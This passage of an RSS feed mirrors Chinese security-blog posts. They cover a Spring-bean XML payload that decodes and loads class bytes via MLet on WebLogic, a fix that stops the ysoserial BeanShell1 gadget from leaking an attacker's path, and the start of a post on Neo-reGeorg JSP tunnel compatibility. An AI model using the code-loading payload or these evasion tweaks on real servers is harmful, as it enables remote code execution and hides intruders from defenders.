url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/anblvjPKYbNouAg9MfsVVCuV2Be7tibPFOP7QmiaLryWkbp2tdLW2GaWic1dfYR15ZibnJgsuicmemGdzT9GicOBbvq36vI4cBtJ6W/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">beans</span> <span style="color: #d19a66;line-height: 26px;">xmlns</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.springframework.org/schema/beans" target="_blank">http://www.springframework.org/schema/beans</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xmlns:xsi</span>=<span style="color: #98c379;line-height: 26px;">&#34;<a href="http://www.w3.org/2001/XMLSchema-instance" target="_blank">http://www.w3.org/2001/XMLSchema-instance</a>&#34;</span> <span style="color: #d19a66;line-height: 26px;">xsi:schemaLocation</span>=<span style="color: #98c379;line-height: 26px;">&#34; <a href="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd " target="_blank">http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd </a>&#34;</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;decoder&#34;</span> <span style="color: #d19a66;line-height: 26px;">class</span>=<span style="color: #98c379;line-height: 26px;">&#34;weblogic.utils.encoders.BASE64Decoder&#34;</span>/&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;clazzBytes&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-bean</span>=<span style="color: #98c379;line-height: 26px;">&#34;decoder&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;decodeBuffer&#34;</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;java.lang.String&#34;</span> <span style="color: #d19a66;line-height: 26px;">value</span>=<span style="color: #98c379;line-height: 26px;">&#34;yv66vgAAA......&#34;</span>/&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;classLoader&#34;</span> <span style="color: #d19a66;line-height: 26px;">class</span>=<span style="color: #98c379;line-height: 26px;">&#34;javax.management.loading.MLet&#34;</span>/&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">id</span>=<span style="color: #98c379;line-height: 26px;">&#34;clazz&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-bean</span>=<span style="color: #98c379;line-height: 26px;">&#34;classLoader&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;defineClass&#34;</span>&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;[B&#34;</span> <span style="color: #d19a66;line-height: 26px;">ref</span>=<span style="color: #98c379;line-height: 26px;">&#34;clazzBytes&#34;</span>/&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;int&#34;</span> <span style="color: #d19a66;line-height: 26px;">value</span>=<span style="color: #98c379;line-height: 26px;">&#34;0&#34;</span>/&gt;</span><br/>        <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">constructor-arg</span> <span style="color: #d19a66;line-height: 26px;">type</span>=<span style="color: #98c379;line-height: 26px;">&#34;int&#34;</span> <span style="color: #d19a66;line-height: 26px;">value</span>=<span style="color: #98c379;line-height: 26px;">&#34;10692&#34;</span>/&gt;</span><br/>    <span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">bean</span>&gt;</span><br/>    <span style="line-height: 26px;">&lt;<span style="color: #e06c75;line-height: 26px;">bean</span> <span style="color: #d19a66;line-height: 26px;">factory-bean</span>=<span style="color: #98c379;line-height: 26px;">&#34;clazz&#34;</span> <span style="color: #d19a66;line-height: 26px;">factory-method</span>=<span style="color: #98c379;line-height: 26px;">&#34;newInstance&#34;</span>/&gt;</span><br/><span style="line-height: 26px;">&lt;/<span style="color: #e06c75;line-height: 26px;">beans</span>&gt;</span><br/></code></pre></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.19921875" data-s="300,640" data-w="1280" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b126ed0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFs7Job5W9dNSBA8z2CiaUX5cOvWrJzrPG6z4Jp1ZoGqdnrMdswK79M6hK91LVXQLzcriaicGML8ib9g%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">顺便写一个woodpecker插件留以后备用，美如画。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7828125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=55dce11b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPeFs7Job5W9dNSBA8z2CiaUXFqrmibeWZYTWAFI6vy28bK0HKv2JKb3Peia83rf6VzibO7YyWWm8XCnwA%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;"></span></p><p style="text-align: center;"><br/></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-size: 18px;letter-spacing: 1px;"> 0x03 </span></strong></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;">参考文章</span></strong></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;text-align: center;"><span style="font-size: 18px;"><strong><span style="font-size: 18px;letter-spacing: 1px;"><br/></span></strong></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">1.<a href="https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#beans-dependencies" target="_blank">https://docs.spring.io/spring-framework/docs/current/reference/html/core.html#beans-dependencies</a></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><span style="font-size: 14px;letter-spacing: 1px;">2.<a href="https://www.cnblogs.com/happyflyingpig/p/8047441.html" target="_blank">https://www.cnblogs.com/happyflyingpig/p/8047441.html</a></span></p><p style="margin-bottom: 5px;line-height: 1.5em;margin-left: 8px;margin-right: 8px;"><br/></p>



<p><a href="https://gv7.me/articles/2021/some-extensions-of-spring-bean-rce-under-weblogic/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=7b90bbdf&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484160%26idx%3D1%26sn%3Daede103ea609092cf8fb5eb4147775c0%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 11 Oct 2021 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>有一个gadget正在泄露你的ID</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484138&amp;idx=1&amp;sn=55d82300e8ffd567610926d887b42afc</link>
      <description>你的id正在在java反序列化漏洞中泄露</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2021-09-14 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>你的id正在在java反序列化漏洞中泄露</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=3f53b4c8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFicaJw28QnMLXgKdPyeWibzWR9DgZyUAuia9sibBhnS605vgTdbNhpjNgIA%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);"><strong><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 2px;font-size: 18px;"> 0x01 </span></strong></span></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 2px;font-size: 18px;">背景</span></strong></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"><br/></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">在Java反序列化漏洞炙手可热的当下，许多自动化工具都在使用ysoserial的gadget。而这些gadget当中，有一个gadget正在偷偷泄露你的id --- </span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">BeanShell1</span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.7390625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=6a0e79d7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFwicchWLHYR71jUbAjBAcxBCSZoVcP37567Da0LL04WWsNibl80X0Fiamg%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">这意味着经常使用shiro批量爆破gadget工具的小伙伴，蓝队同学可能解密下payload就能得到你的id了。</span><br/><span style="font-size: 14px;letter-spacing: 2px;"></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"><br/></span></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 2px;font-size: 18px;"> 0x02 </span></strong></span></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="letter-spacing: 2px;font-size: 18px;">定位信息泄露属性</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"><br/></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">通过使用</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">java-object-searcher</span><span style="font-size: 14px;letter-spacing: 2px;">搜索，找到敏感信息存储在</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">bsh.NameSpace</span><span style="font-size: 14px;letter-spacing: 2px;">类的</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">variables</span><span style="font-size: 14px;letter-spacing: 2px;">属性中。</span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=f692e1ff&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFuvbibmTpVneC0C7t4m7BjianicjdER8HqI2lrEIjbb6WId5DsSsScFibaw%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">通过阅读该类代码，发现只有</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">setTypedVariable</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">方法对</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">variables</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">进行</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">put</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">操作，在该处下断点。</span><br/><span style="font-size: 14px;letter-spacing: 2px;"></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">重新调式，看到</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">当前运行路径</span><span style="font-size: 14px;letter-spacing: 2px;">被put进来后，顺着调用堆栈往上分析。发现</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">BeanShell1</span><span style="font-size: 14px;letter-spacing: 2px;">在</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">Interpreter</span><span style="font-size: 14px;letter-spacing: 2px;">对象初始化时，调用</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">bsh.Interpreter#initRootSystemObject</span><span style="font-size: 14px;letter-spacing: 2px;">设置了</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">bsh.cwd</span><span style="font-size: 14px;letter-spacing: 2px;">值为</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">当前运行路径</span><span style="font-size: 14px;letter-spacing: 2px;">，最终它被保存到了序列化数据中。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.4433150899139953" data-s="300,640" style="" data-type="png" data-w="1279" src="https://wechat2rss.xlab.app/img-proxy/?k=70ede9a2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFniajkiaFkPSPHohGicfpLzibjMTVmibMVRscNjByU70YhqlXQOLE95cF2nw%2F640%3Fwx_fmt%3Dpng"/></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);font-size: 18px;background-color: rgb(171, 25, 66);letter-spacing: 2px;"> 0x03 </span></strong></span></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 2px;">构造干净的BeanShell1</span></strong></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">既然</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">Interpreter</span><span style="font-size: 14px;letter-spacing: 2px;">对象通过</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">setu</span><span style="font-size: 14px;letter-spacing: 2px;">方法存储了敏感信息，那么我们同样可以调用该方法将敏感信息覆盖掉，防止信息泄露。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">所以要构造一个干净的BeanShell1 gadget，只需要在</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">Interpreter</span><span style="font-size: 14px;letter-spacing: 2px;">对象创建后反射调用</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">setu</span><span style="font-size: 14px;letter-spacing: 2px;">方法覆盖</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">bsh.cwd</span><span style="font-size: 14px;letter-spacing: 2px;">值为</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">.</span><span style="font-size: 14px;letter-spacing: 2px;">(第13-15行代码)即可。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.76171875" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=31a8af2f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFp01GibKgUeu2fjJqbMOdoKNHIn94UuDktkQ3DJqITPhichzLTrP91BmA%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;text-align: left;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">目前已经给</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">ysoserial</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">项目</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">pr</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">，等待官方修复。<span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;font-size: 14px;letter-spacing: 2px;">当然大家也可以使用我二次开发的</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;font-size: 14px;letter-spacing: 2px;color: rgb(217, 33, 66);">ysoserial-for-woopecker</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;font-size: 14px;letter-spacing: 2px;">。</span></span><br/><span style="font-size: 14px;letter-spacing: 2px;"></span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.99765625" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=387847bd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPcQGUIB4FnicemgsNzfvD0oVD7EPcd7Zq1OBTS2nmHvlvDp0eoOz6uiaYUCziaD24a1pibiaF1KUexibpAA%2F640%3Fwx_fmt%3Dpng"/></p><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span></section>



<p><a href="https://gv7.me/articles/2021/a-gadget-is-secretly-leaking-your-id/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=e7c71404&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg3NjA4MTQ1NQ%3D%3D%26mid%3D2247484138%26idx%3D1%26sn%3D55d82300e8ffd567610926d887b42afc%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 14 Sep 2021 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>通过加载class提高Neo-reGeorg兼容性</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg3NjA4MTQ1NQ==&amp;mid=2247484135&amp;idx=1&amp;sn=7e2689d22922cd9afb5673c691d08c74</link>
      <description>一种提升jsp脚本兼容性的通用方法</description>
      <content:encoded><![CDATA[<p>
原创 <span>c0ny1</span> <span>2021-09-06 12:00</span> <span style="display: inline-block;"></span>
</p>

<p>一种提升jsp脚本兼容性的通用方法</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=550428c0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F075AT6bRmPdEfiabTWCH063PWZsDfkElF3d5mibdJicrD8kjJQuAamQzicVWsC9hZ9icLTSyxbpwaYjJGdHIuGZcUWw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 2px;"> 0x01 </span></strong></span></p><p style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 18px;"><strong><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 2px;">背景</span></strong></span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">一大早就看到</span><span style="font-size: 14px;letter-spacing: 2px;color: rgb(171, 25, 66);">L-codes</span><span style="font-size: 14px;letter-spacing: 2px;">师傅发消息说，Neo-reGeorg jsp服务端又出现问题了，印象里已经不是一两次了。大部分都是兼容性问题，这次也不例外。</span></p><p style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span></p><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1.378125" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=90909cc8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFOlLJhC9zM4tRx6V4sQJDYkqfTLwudRyRwRthAaWPia4ia0qibstxVx2Pw%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;"></span><span style="font-size: 14px;letter-spacing: 2px;">是时候设计一个一劳永逸的方案了。</span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 18px;background-color: rgb(171, 25, 66);color: rgb(255, 255, 255);"><strong><span style="color: rgb(255, 255, 255);background-color: rgb(171, 25, 66);letter-spacing: 2px;"> 0x02 </span></strong></span></section><section style="line-height: 2em;text-align: center;margin-left: 16px;margin-right: 16px;"><span style="font-size: 18px;"><strong><span style="letter-spacing: 2px;">分析原因</span></strong></span></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><br/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-size: 14px;letter-spacing: 2px;">我们知道jsp从被访问到运行，经历如下阶段。</span></section><section style="text-align: center;margin-left: 16px;margin-right: 16px;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="0.8" data-s="300,640" style="" data-type="png" data-w="1280" src="https://wechat2rss.xlab.app/img-proxy/?k=3dd59d0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F075AT6bRmPdEfiabTWCH063PWZsDfkElFULjOtZDiaK9tCoq9o7icRxTfJQ9pGRMm2zy2o8ibnhcbNVTdic6g4vZ2LQ%2F640%3Fwx_fmt%3Dpng"/></section><section style="line-height: 2em;margin-left: 16px;margin-right: 16px;"><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 14px;letter-spacing: 2px;">本案例中发现tomcat work目录下已经存在了</span><span style="font-family: mp-quote, -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, 